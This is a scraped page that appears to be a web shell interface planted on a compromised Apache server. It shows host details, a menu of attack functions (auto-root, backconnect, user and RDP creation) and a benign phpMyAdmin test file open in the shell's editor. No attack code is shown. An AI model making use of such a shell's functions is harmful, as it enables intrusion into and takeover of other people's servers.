Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.188.149.185
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Stubs
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
_data
[ DIR ]
drwxr-xr-x
AbstractTestCase.php
5.3
KB
-rw-r--r--
ApplicationTest.php
1.63
KB
-rw-r--r--
BookmarkTest.php
3.56
KB
-rw-r--r--
BrowseForeignersTest.php
6.29
KB
-rw-r--r--
CacheTest.php
3.02
KB
-rw-r--r--
CharsetsTest.php
5.3
KB
-rw-r--r--
ConfigTest.php
31.22
KB
-rw-r--r--
ConsoleTest.php
1.38
KB
-rw-r--r--
CoreTest.php
23.3
KB
-rw-r--r--
CreateAddFieldTest.php
19.21
KB
-rw-r--r--
DatabaseInterfaceTest.php
29.52
KB
-rw-r--r--
DbTableExistsTest.php
2.9
KB
-rw-r--r--
EncodingTest.php
5.89
KB
-rw-r--r--
EnvironmentTest.php
478
B
-rw-r--r--
FieldHelper.php
1.09
KB
-rw-r--r--
FieldMetadataTest.php
3.54
KB
-rw-r--r--
FileListingTest.php
3.54
KB
-rw-r--r--
FileTest.php
2.02
KB
-rw-r--r--
FlashMessagesTest.php
1.96
KB
-rw-r--r--
FontTest.php
6.13
KB
-rw-r--r--
FooterTest.php
5.19
KB
-rw-r--r--
GitTest.php
15.08
KB
-rw-r--r--
HeaderTest.php
11.05
KB
-rw-r--r--
IndexColumnTest.php
2.73
KB
-rw-r--r--
IndexTest.php
4.18
KB
-rw-r--r--
InsertEditTest.php
80.72
KB
-rw-r--r--
IpAllowDenyTest.php
6.62
KB
-rw-r--r--
LanguageTest.php
8.44
KB
-rw-r--r--
LinterTest.php
3.57
KB
-rw-r--r--
ListDatabaseTest.php
2.26
KB
-rw-r--r--
LoggingTest.php
570
B
-rw-r--r--
MenuTest.php
1.63
KB
-rw-r--r--
MessageTest.php
14.44
KB
-rw-r--r--
MimeTest.php
990
B
-rw-r--r--
NormalizationTest.php
15.38
KB
-rw-r--r--
OpenDocumentTest.php
1.67
KB
-rw-r--r--
OperationsTest.php
2.19
KB
-rw-r--r--
ParseAnalyzeTest.php
2.1
KB
-rw-r--r--
PdfTest.php
1.4
KB
-rw-r--r--
PluginsTest.php
4.69
KB
-rw-r--r--
ProfilingTest.php
730
B
-rw-r--r--
ResponseRendererTest.php
1.71
KB
-rw-r--r--
SanitizeTest.php
6.99
KB
-rw-r--r--
ScriptsTest.php
3.66
KB
-rw-r--r--
SessionTest.php
741
B
-rw-r--r--
ShowGrantsTest.php
1.78
KB
-rw-r--r--
SqlQueryFormTest.php
5.85
KB
-rw-r--r--
SqlTest.php
30.76
KB
-rw-r--r--
StorageEngineTest.php
18.19
KB
-rw-r--r--
SystemDatabaseTest.php
4.72
KB
-rw-r--r--
TemplateTest.php
5.61
KB
-rw-r--r--
TransformationsTest.php
10.52
KB
-rw-r--r--
TwoFactorTest.php
21.18
KB
-rw-r--r--
TypesByDatabaseVersionTest.php
31.86
KB
-rw-r--r--
TypesTest.php
20.45
KB
-rw-r--r--
UniqueConditionTest.php
13.26
KB
-rw-r--r--
UrlRedirectorTest.php
1.48
KB
-rw-r--r--
UrlTest.php
8.56
KB
-rw-r--r--
UserPasswordTest.php
2.5
KB
-rw-r--r--
UserPreferencesTest.php
12.02
KB
-rw-r--r--
UserPrivilegesFactoryTest.php
5.82
KB
-rw-r--r--
UtilTest.php
55.46
KB
-rw-r--r--
VersionInformationTest.php
9.62
KB
-rw-r--r--
VersionTest.php
1.25
KB
-rw-r--r--
ZipExtensionTest.php
5.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TemplateTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests; use PhpMyAdmin\Config; use PhpMyAdmin\Template; use PhpMyAdmin\Twig\Extensions\Node\TransNode; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\DataProvider; use ReflectionProperty; use Twig\Cache\CacheInterface; use Twig\Environment; use Twig\Error\LoaderError; #[CoversClass(Template::class)] class TemplateTest extends AbstractTestCase { protected Template $template; /** * Sets up the fixture. */ protected function setUp(): void { parent::setUp(); $this->template = new Template(); } /** * Test that Twig Environment can be built * and that all Twig extensions are loaded */ public function testGetTwigEnvironment(): void { $twig = Template::getTwigEnvironment(null, false); self::assertFalse($twig->isDebug()); self::assertFalse(TransNode::$enableAddDebugInfo); $twig = Template::getTwigEnvironment(null, true); self::assertTrue($twig->isDebug()); self::assertTrue(TransNode::$enableAddDebugInfo); } /** * Test for set function * * @param string $data Template name */ #[DataProvider('providerTestSet')] public function testSet(string $data): void { $result = $this->template->render($data, ['variable1' => 'value1', 'variable2' => 'value2']); self::assertStringContainsString('value1', $result); self::assertStringContainsString('value2', $result); } /** * Data provider for testSet * * @return mixed[] */ public static function providerTestSet(): array { return [['test/add_data']]; } /** * Test for render * * @param string $templateFile Template name * @param string $key Template variable array key * @param string $value Template variable array value */ #[DataProvider('providerTestDynamicRender')] public function testDynamicRender(string $templateFile, string $key, string $value): void { self::assertSame( $value, $this->template->render($templateFile, [$key => $value]), ); } /** * Data provider for testDynamicRender * * @return mixed[] */ public static function providerTestDynamicRender(): array { return [['test/echo', 'variable', 'value']]; } /** * Test for render */ public function testRenderTemplateNotFound(): void { $this->expectException(LoaderError::class); $this->template->render('template not found'); } /** * Test for render * * @param string $templateFile Template name * @param string $expectedResult Expected result */ #[DataProvider('providerTestRender')] public function testRender(string $templateFile, string $expectedResult): void { self::assertSame( $expectedResult, $this->template->render($templateFile), ); } /** * Data provider for testSet * * @return mixed[] */ public static function providerTestRender(): array { return [['test/static', "static content\n"]]; } /** * Test for render * * @param string $templateFile Template name * @param mixed[] $renderParams Render params * @param string $expectedResult Expected result */ #[DataProvider('providerTestRenderGettext')] public function testRenderGettext(string $templateFile, array $renderParams, string $expectedResult): void { self::assertSame( $expectedResult, $this->template->render($templateFile, $renderParams), ); } /** * Data provider for testRenderGettext * * @return mixed[] */ public static function providerTestRenderGettext(): array { return [ ['test/gettext/gettext', [], 'Text'], ['test/gettext/pgettext', [], 'Text'], ['test/gettext/notes', [], 'Text'], ['test/gettext/plural', ['table_count' => 1], 'One table'], ['test/gettext/plural', ['table_count' => 2], '2 tables'], ['test/gettext/plural_notes', ['table_count' => 1], 'One table'], ['test/gettext/plural_notes', ['table_count' => 2], '2 tables'], ]; } public function testLoadingTwigEnvOnlyOnce(): void { $twigEnvCacheProperty = new ReflectionProperty(Template::class, 'twig'); $twigEnvCacheProperty->setValue(null, null); $template = new Template(); self::assertSame("static content\n", $template->render('test/static')); $twigEnv = $twigEnvCacheProperty->getValue(); self::assertInstanceOf(Environment::class, $twigEnv); $template2 = new Template(); self::assertSame("static content\n", $template2->render('test/static')); self::assertSame($twigEnv, $twigEnvCacheProperty->getValue()); } public function testDisableCache(): void { (new ReflectionProperty(Template::class, 'twig'))->setValue(null, null); $template = new Template(self::createStub(Config::class)); $template->disableCache(); $twig = (new ReflectionProperty(Template::class, 'twig'))->getValue(); self::assertInstanceOf(Environment::class, $twig); self::assertFalse($twig->getCache()); $twig->setCache(self::createStub(CacheInterface::class)); self::assertNotFalse($twig->getCache()); $template->disableCache(); self::assertFalse($twig->getCache()); (new ReflectionProperty(Template::class, 'twig'))->setValue(null, null); } }
Close